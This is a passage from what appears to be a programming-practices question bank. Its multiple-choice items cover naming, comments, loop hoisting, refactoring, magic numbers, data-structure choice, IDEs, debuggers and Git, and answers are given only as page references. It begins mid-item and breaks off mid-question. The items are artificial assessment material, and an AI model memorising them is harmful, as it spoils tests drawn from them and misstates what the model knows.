A. shortening the parameter `minutes` to `m` in both functions, because uniform short names are quicker for a reader to scan

B. renaming `n` to `total` inside the first function, because a longer local name makes the returned value easier to understand

C. changing the first function so that it adds the minutes, because a report should always give readers the total they expect

D. renaming the first function to `count_late_students`, because its present name misstates what it returns back to the caller

Answer: page 1019

0002.o.1.2

A software company merges two small programs into one project. One developer's functions have names such as `get_total` and `get_average`, and the other developer's functions have names such

as `CalcSum` and `fetchMedian`. All of the project's tests pass, and the program behaves as required. A senior reviewer still asks the team to rename the functions before the release. Which justification for this request is best supported?

A. One naming pattern lets a reader predict how a function is named without looking up each definition in the project.

B. Mixed naming patterns slow the program, since the computer has to convert each name to one form on every call.

C. Names with capital letters belong to a different kind of function, so they follow separate scope rules in most languages.

D. A shared pattern lets the existing tests find additional logic errors, since tests locate each function by the form of its name.

Answer: page 1019

0002.o.1.3

A school science department tracks the remaining stock of each chemical. The function below is called before an experiment is scheduled, and its present name tells a reader nothing about the meaning of its result. A teacher wants a name that would make a statement such as `if (check(stock, 5))` read accurately once the new name replaces `check`.

```
01 function check(int[] levels, int minimum)
02   for (int i = 0; i < levels.size[1]; i = i + 1)
03     if (levels[i] < minimum)
04       return FALSE
05   return TRUE
06
07 int[] stock = [6, 9, 5]
08 int[] low_stock = [6, 2, 8]
09 output(check(stock, 5))
10 output(check(low_stock, 5))
```

Which name most accurately states what the function reports?

A. `count_below_minimum`

B. `has_low_level`

C. `find_lowest_level`

D. `all_at_or_above_minimum`

Answer: page 1019

0002.o.1.4

A computer science student's quiz program originally used the names `p`, `t`, `k`, `a`, and `q`. The student replaces every occurrence of those names consistently, which produces the program below. Before the change, the program output `8` for the same quiz data. The student's partner predicts that the longer names will have consequences for how the program runs.

```
01 function average_points(int[] points)
02   int sum_of_points = 0
03   for (int index = 0; index < points.size[1]; index = index + 1)
04     sum_of_points = sum_of_points + points[index]
05   return sum_of_points / points.size[1]
06
07 int[] quiz_points = [6, 9, 8, 9]
08 output(average_points(quiz_points))
```

Which statement most accurately describes the effect of the student's change?

A. The call now fails, since the parameter `points` no longer matches the name of the array `quiz_points` passed to it.

B. The output and speed are unaffected only if `index` is also declared outside the function, since a loop counter needs a program-wide name.

C. Its output and speed are unaffected, since only names changed, and the change helps only the people who read the program.

D. The output is unchanged, but the program runs more slowly, since the longer names must be read again on every pass of the loop.

Answer: page 1019

0002.o.1.5

A team's style guide says that every name should communicate its purpose. A reviewer is auditing a grading system of about 900 lines and has time to request only one change. Four names and their uses are listed below as the options. Under the style guide, which name gives the strongest reason for requesting a change?

A. `i`, a counter that steps through an array of scores in a three-line loop inside one short function

B. `MAX_ABSENCES`, a value defined once at the top of the system and read by the attendance functions

C. `data2`, a variable used across several modules that holds the current semester's withdrawn students

D. `count_passing`, a local variable that holds how many students reached the required score on one exam

Answer: page 1019

Comments and documentation

0002.o.2.1

A public library's fine calculation is shown below, with four comments written by different staff members. A reviewer has been asked to keep only the comment that gives a future maintainer information that could not be recovered from the code itself, and to delete the other three.

```
01 /* fine_cents works out a fine in cents */
02 function fine_cents(int days_late, int rate)
03   /* check whether days_late is greater than 1 */
04   if (days_late > 1)
05     /* the library board waives the first day of every loan */
06     int charged_days = days_late - 1
07     /* multiply charged_days by rate and return the result */
08     return charged_days * rate
09   return 0
10
11 output(fine_cents(4, 25))
12 output(fine_cents(1, 25))
```

Which comment should the reviewer keep?

A. `/* check whether days_late is greater than 1 */`

B. `/* fine_cents works out a fine in cents */`

C. `/* the library board waives the first day of every loan */`

D. `/* multiply charged_days by rate and return the result */`

Answer: page 1019

0002.o.2.2

A theater's box office program calculated prices in dollars until a recent update moved every price to cents, and the function below was changed at that time. Another developer reads the note above the function, does not read the function itself, and adds a dollar sign to the result, so that a customer buying three tickets sees a charge of $1350.

```
01 /* returns the ticket total in dollars */
02 function ticket_total(int count)
03   int price = 450
04   return count * price
05
06 int total = ticket_total(3)
07 output(total)
```

Which statement best identifies the source of the error?

A. The note was not revised when the code changed, so it now misdescribes the value that the function actually returns.

B. Multiplying two `int` values rounds the product to a whole number of dollars, which removes the cents from the result.

C. The function has a note at all, since well-named functions should carry no comments that a developer might rely on.

D. The note tells the function to convert its result to dollars, and that conversion is not defined for an `int` value.

Answer: page 1019

0002.o.2.3

A school district's programmers publish a function that converts an exam's raw score to a scale score. Developers at individual schools will call the function from their own programs, and they will not be able to see its source code. Which description should the district's documentation provide for those developers?

A. what the function is for, the arguments it expects, the value it returns, and the errors that a caller may see at runtime

B. a walkthrough of each loop in the function, along with the reasons that its authors chose those loops over other designs

C. a comment on every statement in the function, so that the behavior of each statement can be followed in the order it runs

D. a list of who has changed the function and when, along with the earlier versions that were replaced by each change

Answer: page 1019

0002.o.2.4

A student's program converts percentages to letter grades. Two notes are waiting to be added to the project. The first reads, "Accepts a whole number from 0 to 100 and returns one letter." The second reads, "The state reporting system rejects the letter E, so failing scores are stored as F." Where does each note most appropriately belong?

A. Both belong in the documentation, because comments are meant to restate each statement's action, and neither of the two notes does that.

B. The first belongs in the documentation, which tells callers how to use the program, and the second belongs in a comment beside the code it explains.

C. Both belong in comments beside the code, because information about a program is best placed where it is compiled along with the program.

D. The first belongs in a comment beside the code, which is where callers look for instructions, and the second belongs in the documentation, which records design decisions.

Answer: page 1019

0002.o.2.5

A software company's documentation for the function below consists of the single comment on line 01. Several programs at the company call the function, and their authors have not read its source code. A reviewer finds that the comment leaves out the one piece of information that a caller most needs in order to use the function safely.

```
01 /* returns the average of scores */
02 function average(int[] scores)
03   if (scores.size[1] == 0)
04     return -1
05   int total = 0
06   for (int i = 0; i < scores.size[1]; i = i + 1)
07     total = total + scores[i]
08   return total / scores.size[1]
09
10 int[] quiz = [8, 9, 10]
11 int[] none = []
12 output(average(quiz))
13 output(average(none))
```

Which addition to the comment supplies that information?

A. that `total` begins at `0` and increases by each score in turn as the loop moves through the array

B. that `-1` is returned for an empty array, which a caller might otherwise treat as a real average

C. that each caller must store its data in an array with the name `scores` before making the call

D. that the loop counter `i` starts at the first index and stops once it reaches the size of the array

Answer: page 1019

Moving repeated work out of loops

0002.o.3.1

A conference's check-in software uses the program below to create one numbered table card for each person who is present. The roster does not change while `build_cards` runs. On rosters of 20,000 names, a developer finds that the function takes several minutes and that nearly all of this time is spent inside `count_present`.

```
01 function count_present(String[] roster)
02   int present = 0
03   for (int k = 0; k < roster.size[1]; k = k + 1)
04     if (roster[k] != "absent")
05       present = present + 1
06   return present
```

```
07
08 function build_cards(String[] roster)
09   int[] cards = []
10   int i = 0
11   while (i < count_present(roster))
12     cards.append(i + 1)
13     i = i + 1
14   return cards
15
16 String[] day_one = ["ana", "absent", "ben", "dee"]
17 String[] day_two = ["absent", "eli", "absent", "fay"]
18 int[] made = build_cards(day_one)
19 output(made.size[1])
20 made = build_cards(day_two)
21 output(made.size[1])
```

Which change would most reduce the running time without changing the cards produced?

A. calling `count_present(roster)` once before the `while` statement and comparing `i` with the stored result on every pass

B. rewriting the `while` statement as a `for` statement, whose condition evaluates the call only when the loop first starts

C. placing the call in the loop body, directly below `i = i + 1`, so that the condition itself no longer does any of this work

D. declaring `present` outside `count_present`, so that a new variable does not have to be created each time the function is called

Answer: page 1020

0002.o.3.2

A student's payroll exercise, shown below, multiplies each worker's hours by an adjusted hourly rate and displays the total. The student has learned that a calculation can sometimes be performed once instead of on every pass of a loop, and intends to move as much work as possible to before line 05 while keeping the output the same.

```
01 int[] hours = [3, 5, 2]
02 int rate = 12
03 int bonus = 5
04 int total = 0
05 for (int i = 0; i < hours.size[1]; i = i + 1)
06   int adjusted = rate + bonus
07   int pay = hours[i] * adjusted
08   total = total + pay
09 output(total)
```

Which statement correctly identifies the work that can be moved?

A. The calculations of `adjusted` and `pay` can both be moved, because the array `hours` is not modified anywhere in the program.

B. All three statements can be moved, because any calculation in a loop gives the same result if it is performed once in advance.

C. Only the calculation of `adjusted` can be moved out, because the values it uses stay the same on every pass of the loop.

D. None of the statements can be moved, because a variable used inside a loop has to be calculated inside that same loop.

Answer: page 1020

0002.o.3.3

A weather service uses the function below to report how many days in a month had rainfall above and below that month's mean. A reviewer proposes moving lines 05-08 to before line 04, since the mean is the same for every day. The service is considering running the function on a record of 1,000 days.

```
01 function rain_report(int[] rain)
02   int above = 0
03   int below = 0
04   for (int d = 0; d < rain.size[1]; d = d + 1)
05     int sum = 0
06     for (int k = 0; k < rain.size[1]; k = k + 1)
07       sum = sum + rain[k]
08     int mean = sum / rain.size[1]
09     if (rain[d] > mean)
10       above = above + 1
11     elseif (rain[d] < mean)
12       below = below + 1
13   output(above)
14   output(below)
15
16 int[] march = [4, 0, 9, 2, 5, 6, 1, 3, 7, 3]
17 int[] april = [2, 8, 6, 4]
18 rain_report(march)
19 rain_report(april)
```

For the 1,000-day record, how many times would line 07 run before and after the proposed change?

A. about 1,000,000 times before the change and also after it, because each day must still be compared with the mean

B. about 1,000,000 times before the change and about 1,000 times after it, because the sum is computed once instead of once per day

C. about 1,000 times before the change and about 1,000 times after it, because the running sum carries over from one day to the next

D. about 2,000 times before the change and about 1,000 times after it, because two loops of 1,000 passes make 2,000 passes together

Answer: page 1020

0002.o.3.4

A greenhouse monitoring program contains a loop that runs once each minute. On each pass, the loop calls `read_sensor()`, which takes a new temperature reading from a device, and `load_limits()`, which reads a settings file that changes only when the program is restarted. Neither call takes any arguments. To save time, a developer proposes calling both functions once before the loop. Which evaluation of this proposal is correct?

A. Neither call can move, since a value that a loop uses has to be obtained on the pass that uses it.

B. Both calls can safely move, since a function with no arguments returns the same value each time it is called.

C. Only the call to `load_limits()` should move, since sensor readings can differ from one pass to the next.

D. Only the call to `read_sensor()` should move, since calls to hardware are slow and slow work belongs outside a loop.

Answer: page 1020

0002.o.3.5

A school store's checkout program is shown below. The function `discount_rate` works through every member of the store's loyalty program to set a percentage, so it is slow when there are many members, and the number of members does not change during a checkout. The program currently outputs `679`. A developer wants `discount_rate` to be called only once.

```
01 function discount_rate(int members)
02   int rate = 0
03   for (int m = 1; m <= members; m = m + 1)
04     if (m % 10 == 0)
05       rate = rate + 1
06   return rate
07
08 int[] prices = [200, 100, 400]
09 int members = 30
10 int total = 0
11 for (int i = 0; i < prices.size[1]; i = i + 1)
12   int cut = prices[i] * discount_rate(members) / 100
```

```
13   total = total + prices[i] - cut
14 output(total)
```

Which code, replacing lines 11-13, meets this goal and keeps the same output?

A.

```
for (int i = 0; i < prices.size[1]; i = i + 1)
  int cut = prices[i] * rate / 100
  total = total + prices[i] - cut
int rate = discount_rate(members)
```

B.

```
int rate = discount_rate(members)
for (int i = 0; i < prices.size[1]; i = i + 1)
  int cut = prices[i] * rate / 100
  total = prices[i] - cut
```

C.

```
int rate = discount_rate(members)
for (int i = 0; i < prices.size[1]; i = i + 1)
  int cut = prices[i] * rate / 100
  total = total + prices[i] - cut
```

D.

```
int cut = prices[0] * discount_rate(members) / 100
for (int i = 0; i < prices.size[1]; i = i + 1)
  total = total + prices[i] - cut
```

Answer: page 1020

Refactoring

0002.o.4.1

A mail room's program sets a shipping fee in dollars from a parcel's weight in grams. A student replaces `fee_v1` with `fee_v2` below, and describes the change as purely structural in the commit message. The student's three tests, which use weights of 10, 100, and 300 grams, pass for both versions, and the last lines of the program compare the versions directly.

```
01 function fee_v1(int grams)
02   if (grams <= 50)
03     return 2
04   else
05     if (grams <= 200)
06       return 5
07     else
08       return 9
09
```

```
10 function fee_v2(int grams)
11   if (grams > 200)
12     return 9
13   elseif (grams >= 50)
14     return 5
15   return 2
16
17 output(fee_v1(50))
18 output(fee_v2(50))
19 output(fee_v1(100))
20 output(fee_v2(100))
```

Which evaluation of the student's description is correct?

A. It is accurate, because the tests pass for both versions, and passing tests establish that behavior is the same.

B. It is inaccurate, because a purely structural change must keep the same order of conditions and the same number of branches.

C. It is accurate, because reversing the order of the conditions just rearranges the code and does not alter a returned value.

D. It is inaccurate, because a parcel of exactly 50 grams is now charged a different fee, a case that the tests did not cover.

Answer: page 1020

0002.o.4.2

A teacher's gradebook program repeated the same block of statements for each class period, once with `period_one` and once with `period_two`, and it output `83` and then `79`. A computer science student moves the repeated block into one function, as shown below, and the program must still output those two values in that order.

```
01 function show_average(int[] scores)
02   /*selected code here*/
03
04 int[] period_one = [82, 90, 76]
05 int[] period_two = [70, 88, 94, 64]
06 show_average(period_one)
07 show_average(period_two)
```

Which code, replacing line 02, completes this restructuring?

A.

```
int total = 0
for (int i = 0; i < scores.size[1]; i = i + 1)
  total = total + scores[i]
output(total / scores.size[1])
```

B.

```
int total = 0
for (int i = 0; i < scores.size[1]; i = i + 1)
  total = total + scores[i]
return total / scores.size[1]
```

C.

```
int total = 0
for (int i = 0; i < period_one.size[1]; i = i + 1)
  total = total + period_one[i]
output(total / period_one.size[1])
```

D.

```
for (int i = 0; i < scores.size[1]; i = i + 1)
  int total = 0
  total = total + scores[i]
output(total / scores.size[1])
```

Answer: page 1020

0002.o.4.3

A school district's billing system includes a 400-line function that no current employee wrote. The function has no tests, and it appears to contain some odd handling of partial payments. A developer has been asked to divide it into smaller functions without changing anything that the system's users observe. Which first step would most reduce the risk of this work?

A. renaming the function's variables throughout before reading it, so that the code is easier to understand during the division

B. discarding the function and writing the smaller functions from its specification, so that none of its odd handling can carry over

C. writing tests that record what the function does at present, including its handling of partial payments, before making any change

D. correcting the handling of partial payments first, so that the smaller functions begin from behavior that is known to be right

Answer: page 1020

0002.o.4.4

A software company has a merge rule. A change that alters a program's internal structure and leaves everything that the program does exactly as it was may be merged with one reviewer. Any other change requires two reviewers. Which description in a developer's request identifies a change that qualifies for one reviewer under this rule?

A. simplified `build_report` by dropping the rarely used summary page, which removes about a third of the function's code

B. corrected the rounding step in `build_report`, so that its totals now agree with the figures published by the state

C. added a spreadsheet option to `build_report`, and reorganized its code so that the new option fits in cleanly

D. divided `build_report` into three helper functions, and every report produced remains identical in content and layout

Answer: page 1020

0002.o.4.5

A transit card program is shown below. When a fare exceeds the card's balance, the card is charged a penalty of 5 instead of the fare, and otherwise the fare is deducted. For inputs of `20` and `30`, the program outputs `15`. A reviewer points out the repetition and asks for a change to the program's structure that leaves every possible result the same.

```
01 int balance = input()
02 int amount = input()
03 if (amount > balance)
04   balance = balance - 5
05   output(balance)
06 else
07   balance = balance - amount
08   output(balance)
```

Which revision meets the reviewer's request?

A. moving one copy of `output(balance)` above the `if` statement and deleting the two copies, since it runs once in either case

B. deleting the copy of `output(balance)` under `else`, since the copy in the first branch already displays the balance

C. deleting `else` and leaving both subtractions in sequence, since the repetition was the only reason to have two branches

D. moving one copy of `output(balance)` below the entire `if` and `else` structure and deleting the two copies inside it

Answer: page 1020

Avoid magic numbers

0002.o.5.1

A town library's program, shown below, charges for books kept longer than a 14-day loan period, and it limits any single charge to 14 dollars. The library extends the loan period to 21 days. A staff member uses a global search and replace to change each `14` to `21`, and patrons soon report that the charge for a very late book has risen.

```
01 function days_overdue(int days_held)
02   if (days_held > 14)
03     return days_held - 14
04   return 0
05
06 function fine(int overdue)
07   int amount = overdue * 2
08   if (amount > 14)
09     return 14
10   return amount
11
12 int[] held = [10, 20, 30]
13 int total = 0
14 for (int i = 0; i < held.size[1]; i = i + 1)
15   int overdue = days_overdue(held[i])
16   int charge = fine(overdue)
17   output(charge)
18   total = total + charge
19 output(total)
```

Which earlier practice would have prevented this problem?

A. writing a comment beside each `14` to state which rule the number represents, so that a reader can tell the two uses apart

B. defining one named value called `LIMIT` for both rules, since they have the same value and so can share one definition

C. defining one named value called `FOURTEEN`, and using that name at each of the places where the program now has a `14`

D. defining separate named values for the loan period and the charge limit, and using each name wherever that meaning applies

Answer: page 1020

0002.o.5.2

A school's reporting program is shown below. The program currently outputs `3` and then `60`. The school raises its passing score from 65 to 70, and an administrator changes line 01 accordingly and makes no other change. The administrator expects the first output to report the number of students who passed and the remaining output to list every student who did not.

```
01 int PASSING_SCORE = 65
02 int[] scores = [60, 68, 72, 90]
```

```
03 int passing = 0
04 for (int i = 0; i < scores.size[1]; i = i + 1)
05   if (scores[i] >= PASSING_SCORE)
06     passing = passing + 1
07 output(passing)
08 for (int i = 0; i < scores.size[1]; i = i + 1)
09   if (scores[i] < 65)
10     output(scores[i])
```

Which result will the administrator most likely observe after the change?

A. The program reports `2` students passing and lists only `60`, so the student who scored `68` appears in neither group of students.

B. The program reports an `ERROR`, since one array cannot be compared with a named value in one loop and with a number in another.

C. The program reports `2` students passing and lists `60` and `68`, since a named value updates every matching number in a program.

D. The program reports `3` students passing and lists only `60`, since a value given a capitalized name is fixed when it is first written.

Answer: page 1020

0002.o.5.3

A video lesson platform divides each lesson into segments of about 7 minutes, because a team found that this length best holds viewers' attention. The program below reports how many segments are needed for a set of lessons whose lengths are given in minutes. A reviewer asks the author to replace one number with a named value.

```
01 int[] lengths = [12, 30, 45]
02 int blocks = 0
03 for (int i = 0; i < lengths.size[1]; i = i + 1)
04   blocks = blocks + lengths[i] / 7
05 output(blocks)
```

Which number most clearly calls for this treatment?

A. the `45` in the array, because each piece of data that a program works with must have its own name before it is used

B. the `7` in the division, whose meaning and origin cannot be determined by reading the code, and nothing says why

C. the `0` that starts `i`, because a number left unnamed in a loop header is as unclear as any other in the program

D. the `1` that increases `i`, because a loop's step is the value most likely to be changed in the program later on

Answer: page 1021

0002.o.5.4

A transit agency's scheduling software uses the number `86400` in nine calculations, each time as the number of seconds in a day. A developer proposes replacing it with `SECONDS_PER_DAY`. A colleague objects that the number of seconds in a day will never change, so being able to change the value in one location offers no benefit here. Which response best addresses the objection?

A. A name would still prevent rounding errors in the nine calculations, since a literal number is less exact than a value with a name.

B. A name would still tell readers what the number represents, a benefit that does not depend on the value ever changing in the future.

C. A name would still be required by the language, since typed languages do not accept a large unnamed number within a multiplication.

D. A name would still make the nine calculations faster, since the program would no longer have to process a five-digit number each time.

Answer: page 1021

0002.o.5.5

A company's payroll system has three modules, written by different developers. To avoid unexplained numbers, each module begins with its own line, `float OVERTIME_RATE = 1.5`, and uses that name throughout its calculations. Which concern about this arrangement should a reviewer raise?

A. The rate is still defined three times, so a future change could reach some of the modules and miss others, with no warning.

B. The name is in capital letters, which prevents the three modules from running together unless each one has a different name.

C. The rate should have been left as the number `1.5`, since a reader can see its value at once and needs no further information.

D. A value with this meaning cannot be given a name, since a rate is a `float` and a name is suitable only for whole numbers.

Answer: page 1021

Choosing structures for performance

0002.o.6.1

A school district's cafeteria system runs code like the program below, where each array has about 40,000 entries and about 200,000 card swipes are processed each week. A developer measures the program and finds that almost all of its running time is spent in `meals_for`.

```
01 String[] ids = ["s104", "s221", "s377", "s480"]
02 int[] meals = [12, 30, 7, 19]
03
04 function meals_for(String id)
05   for (int i = 0; i < ids.size[1]; i = i + 1)
06     if (ids[i] == id)
07       return meals[i]
08   return -1
09
10 String[] swipes = ["s377", "s104", "s480", "s377"]
11 int total = 0
12 for (int s = 0; s < swipes.size[1]; s = s + 1)
13   total = total + meals_for(swipes[s])
14 output(total)
```

Which change is most likely to give the largest improvement?

A. storing the meal counts in a map keyed by student ID, so that a lookup does not scan the whole array of IDs each call

B. removing the final `return -1` from `meals_for`, so that the function has one fewer statement to process per call

C. storing `ids.size[1]` in a variable before the loop in `meals_for`, so that the size is not read again on each pass

D. scanning the array of IDs from its last entry toward its first, so that the most recent students are reached earlier

Answer: page 1021

0002.o.6.2

A conference's registration program, shown below, counts how many arrivals have checked in more than once. It becomes very slow when there are 50,000 arrivals. A developer argues that the program cannot be the problem, because it contains only one loop and therefore does an amount of work that grows in step with the number of arrivals.

```
01 String[] seen = []
02 String[] arrivals = ["ana", "ben", "ana", "dee", "ben"]
03 int repeats = 0
04 for (int i = 0; i < arrivals.size[1]; i = i + 1)
05   if (seen.search(arrivals[i]) == NULL)
06     seen.append(arrivals[i])
07   else
08     repeats = repeats + 1
```

```
09 output(repeats)
```

Which statement best evaluates the developer's argument?

A. It overlooks that `seen.search` examines the array's entries, so a map from names to counts would do far less work.

B. It is correct, since a call written on one line takes one step, so the slowness must come from outside this program.

C. It overlooks that `seen.append` copies the whole program into memory, so the work could be reduced by removing `repeats`.

D. It overlooks that comparing with `NULL` is slow, so writing that comparison on two shorter lines would do far less work.

Answer: page 1021

0002.o.6.3

A computer science student spends a week rewriting one loop in a slow report generator, which speeds it up by 2% but makes the code much harder to read. A mentor reviews the work and says that the student should have done something else before changing any code. Which step does the mentor most likely have in mind, and for what reason?

A. timing the parts of the program to find where its time goes, so that effort is directed where it can matter most for the speed

B. running the program under a debugger, since stepping through its statements removes the logic errors that are causing the delay

C. renaming each variable in the loop with a shorter name, since a shorter name reduces the work of each pass through the loop

D. removing the comments and blank lines from the program, so that the computer has less text to process while the report runs

Answer: page 1021

0002.o.6.4

A dictionary application keeps one million words in alphabetical order in an array, and it looks up words thousands of times a minute. A developer has rewritten its loop, which checks the words one at a time from the beginning, with fewer statements on each pass. A colleague proposes a change that would have a far larger effect. Which proposal is the colleague most likely making?

A. starting the same one-at-a-time check from the middle of the array, so that the average word is reached sooner

B. removing the comments from the search function, so that the program has less source text to process during each lookup

C. moving the words into a different array before each lookup, so that the search always begins with a freshly built copy

D. using a search that compares with the middle of the remaining range, which the array's existing order makes possible

Answer: page 1021

0002.o.6.5

A software company's matching job compares two sets of records and takes 40 minutes on one million records. One proposal replaces a repeated scan of the second set with lookups in a map. Another proposal keeps the scan but rewrites the code on each pass to save 10% of its time. The company expects its data to grow tenfold within a year. Which statement best compares the proposals?

A. The second proposal should end up ahead as the data grows, since a saving of 10% applies again to each additional pass.

B. The two proposals should remain about equal as the data grows, since each one reduces the time spent on the same step.

C. The advantage of the map should widen as the data grows, since the second proposal also leaves the same rate of growth.

D. The advantage of the map should disappear as the data grows, since a map's lookups slow down as quickly as a scan's.

Answer: page 1021

0002.p Tools and collaboration

Read about this in the content summary: 0002.p, page 98.

Integrated development environments

0002.p.1.1

In an introductory programming course, students write code in a plain text editor, switch to a terminal window to type the command that runs it, and then open a third program to pause the code and examine its variables whenever the result is wrong. The teacher notices that many students lose time recalling commands and moving among the three windows. Which change would most directly reduce this problem?

A. Adopting one application that offers an editor, a debugger, and run commands together, so students stop switching windows.

B. Adopting a written style guide for file names and layout, so that students remember each tool's commands more easily.

C. Adopting a compiler that converts programs to machine language in advance, so that they never need to be run.

D. Adopting an online repository that stores every student's files, so that programs need not be run on school computers.

Answer: page 1021

0002.p.1.2

Two students are working on the same assignment. As the first student types `retrun total` in place of `return total`, a wavy red line appears under the word and a message states that the name is not recognized. The second student, who uses a plain text editor, discovers the same mistake only after running the program. The first student's tool is most likely providing:

A. a debugger that has paused the program at the misspelled word and is inspecting the values of its variables.

B. a package manager that checks each typed word against the libraries already installed in the project.

C. analysis of the code in the background as it is typed, without the program being run.

D. version control that compares the new line with the previous commit and flags any difference from it.

Answer: page 1021

0002.p.1.3

A student's project runs correctly when the green Run button is clicked in an integrated development environment (IDE). After the project is copied to the school's computer lab, where the IDE is not installed, the student cannot start it and says, "The IDE did the running, so there is nothing for me to learn about the steps behind the button." Which response by the teacher is most accurate?

A. An IDE hides its steps so completely that they cannot be performed by hand, so the student must ask that the same IDE be installed.

B. An IDE gathers editing, building, and running tools behind one interface, so those steps still exist and must be done another way where it is absent.

C. An IDE contains a language of its own, so a program written in it can be run only on computers where the same IDE has been installed.

D. An IDE checks a program so thoroughly that it needs no further testing elsewhere, so the fault must lie in the lab computers' setup.

Answer: page 1021

0002.p.1.4

A club advisor wants students to save snapshots of their program in a Git repository, see which lines have changed since the last snapshot, and keep writing code in the same window. The club's computers currently have a bare text editor, a standalone debugger, and a package manager. Which addition would best meet this need?

A. a build tool that compiles programs, since each compilation is saved as a snapshot of the source code that produced it.

B. a different package manager, since such a tool keeps a version history of each file that is edited in a project.

C. an integrated development environment, since it can combine version control support with the editor and the run tools in one window.

D. a second standalone debugger, since a debugger records the state of every line of code whenever a program is paused.

Answer: page 1021

0002.p.1.5

While completing a lab, a student types `scores.` and a list of names such as `size`, `append`, and `search` appears beside the cursor. The student asks the teacher whether the program has already been run to find out what `scores` can do. Which explanation by the teacher is most accurate?

A. The IDE offers names that are valid for that kind of object as the student types, saving effort although the program has not run.

B. The IDE is downloading the names from the package manager's server each time that a period is typed in the editor.

C. The IDE is displaying the names from the teacher's solution file so that the students' code will resemble the solution.

D. The IDE has run the program in the background and is now listing the names that it saw `scores` use during that earlier run.

Answer: page 1022

Debugger tools

0002.p.2.1

A shop's program totals the prices in a shopping cart and takes 5 off any item that costs more than 20. A programmer sets a single breakpoint on line 06, starts the program in a debugger, and chooses the

continue command each time the program pauses. At the second pause, before line 06 has executed, the variable display shows that `total` equals:

```
01 /* totals a cart, with 5 off each item that costs more than 20 */
02 int[] prices = [12, 25, 8, 30, 15]
03 int total = 0
04 for (int i = 0; i < prices.size[1]; i = i + 1)
05   if (prices[i] > 20)
06     total = total + prices[i] - 5
07   else
08     total = total + prices[i]
09 output(total)
```

A. 80, since the display shows the value that the program will eventually output rather than the value at the moment of the pause.

B. 12, since the continue command restarts the program, so that total again holds only the first price in the cart.

C. 65, since a debugger pauses after the marked line has run, so that total already includes the reduced price of 30.

D. 40, since the prices 12, 25 (reduced to 20), and 8 have been added and the paused line has not yet handled 30.

Answer: page 1022

0002.p.2.2

A weather station's program reports the percentage change between consecutive readings. The program below gives correct results for the short sample list shown, but when it is run on the full list of 50,000 readings the program stops with an error partway through. The programmer suspects that a reading of 0 occurs somewhere and wants to see the values of `i` and `readings[i - 1]` at the moment of the failure, without editing the code. Which approach would accomplish this?

```
01 /* percentage change between each reading and the one before it, */
02 /* followed by the largest of those changes */
03 int[] readings = [20, 25, 30, 24, 12, 18]
04 int largest = 0
05 for (int i = 1; i < readings.size[1]; i = i + 1)
06   int change = (readings[i] - readings[i - 1]) * 100 / readings[i - 1]
07   if (change > largest)
08     largest = change
09   output(change)
10 output(largest)
```

A. placing an ordinary breakpoint on the final output statement, since afterward the debugger can show every value that i held.

B. comparing the program with its previous commit, since the comparison lists the pass where the values first differed.

C. placing a conditional breakpoint on the statement that calculates the change, pausing only when readings[i - 1] equals 0.

D. using step into on the loop header, since this command runs the whole loop and then reports which pass failed.

Answer: page 1022

0002.p.2.3

A programmer is stepping through a report program in a debugger and has paused on a statement that calls `average(scores)`. The `average` function was tested thoroughly last week and is not suspected of any fault. The programmer wants the call to execute completely and then to pause at the next statement of the current function, without watching any of the statements inside `average`. Which debugger command should be used?

A. the step out command, which finishes the function now being run and pauses in the code that called it.

B. the continue command, which resumes the program and runs it until the next breakpoint is reached or the program ends.

C. the step into command, which pauses on the first statement inside `average` so that its statements can be followed one at a time.

D. the step over command, which runs the whole call as a single step and pauses at the next statement of the current function.

Answer: page 1022

0002.p.2.4

A school district's grade-posting service runs on a remote server that hundreds of teachers use at once. Once or twice a week, usually in the evening, a grade is saved to the wrong student, and the developers cannot reproduce the problem on their own computers. Pausing the live service would block every teacher who is using it. Which approach would most likely reveal the cause of the problem?

A. Reading the project's commit history to find the most recent change, since the newest commit must be responsible for the fault.

B. Stepping through the saving code line by line on a laptop with sample data, since any fault on the server must also occur there.

C. Setting a breakpoint on the statement that saves each grade in the live service, then waiting for the problem to appear and examining it.

D. Recording timestamped log entries of the values that each request carries, then reading the entries written around a failure.

Answer: page 1022

0002.p.2.5

A student steps through a program one line at a time in a debugger, watching every variable, until the program ends. The output was wrong, but the debugger never highlighted a faulty line or displayed a message naming the mistake. The student concludes that the debugger is broken. Which explanation is most accurate?

A. The debugger marks a faulty line only when the student has entered the correct output beforehand in the debugger's settings, and the student skipped that step.

B. The debugger can identify a faulty line only when the program is run without breakpoints, because pausing changes the way the program behaves.

C. The debugger reports a fault only for statements that break the rules of the language, so mistakes in logic never appear to it, whatever values are shown.

D. The debugger shows how the program runs and the values it holds, so the student must compare them with the expected ones to find the first difference.

Answer: page 1022

Version control

0002.p.3.1

Two students in a game-design club will add different features to the same project over the next two weeks: one will build a scoring system and the other a sound system. Each wants to test unfinished work without breaking the version that the club shows at its meetings, and the two want to combine their finished features at the end. Which approach is most appropriate?

A. Each student creates a separate branch for the feature, commits work there, and has the branches merged into the main version when the features are complete.

B. Each student keeps a personal copy of the project folder on a USB drive and, when finished, pastes the changed files over the ones in the shared folder.

C. Each student works on the same files at the same time on the main version, and Git keeps the more recent edit of every line.

D. Each student edits the main version directly and commits only on days when the other student has stopped working for the day.

Answer: page 1022

0002.p.3.2

A student merges the branch `feature-scoring` into the main branch of a shared project. Git stops with a message about the file `scoring`, which now contains the text shown below. Which statement best describes what Git has done and what the student must do next?

```
01 function final_score(int points, int bonus)
02 <<<<<<< HEAD
03   return points + bonus * 2
04 =======
05   return (points + bonus) * 2
06 >>>>>>> feature-scoring
```

A. Git found that both branches changed the same line differently, so it left both versions in the file for the student to choose between or combine.

B. Git kept the version from the current branch as the result, and the marked lines are comments that the student may leave in the file.

C. Git found a syntax error in the incoming version of the function, so the student must correct that version before the merge can go on.

D. Git combined the two versions into one function, and the markers will disappear on their own the next time that the file is saved.

Answer: page 1022

0002.p.3.3

The version history of a class website holds 40 commits made over three weeks. The contact form worked at the first commit and fails in the latest one, and no one knows which change broke it. Which use of the version history would most directly lead to the commit that introduced the failure?

A. Searching the commit messages for the word “bug” and reverting the commit that contains it, since messages name the changes that caused faults.

B. Testing the project at several earlier commits, narrowing to the first commit with the failure, and then reading that commit’s changes.

C. Deleting the 40 most recent commits and redoing the work by hand, since removing the history also removes the cause of the failure.

D. Combining the 40 commits into one commit, so that the single large change shows which lines are responsible for the failure.

Answer: page 1022

0002.p.3.4

A project’s history contains commits labeled `update`, `stuff`, `more changes`, and `fix`. A new teammate who is trying to understand why the `grade` function now ignores late work cannot tell from

the history which commit changed it or what the reason for the change was. Which practice would most directly prevent this problem in the future?

A. Committing less often, ideally once at the end of the project, so that fewer entries need to be described by the team.

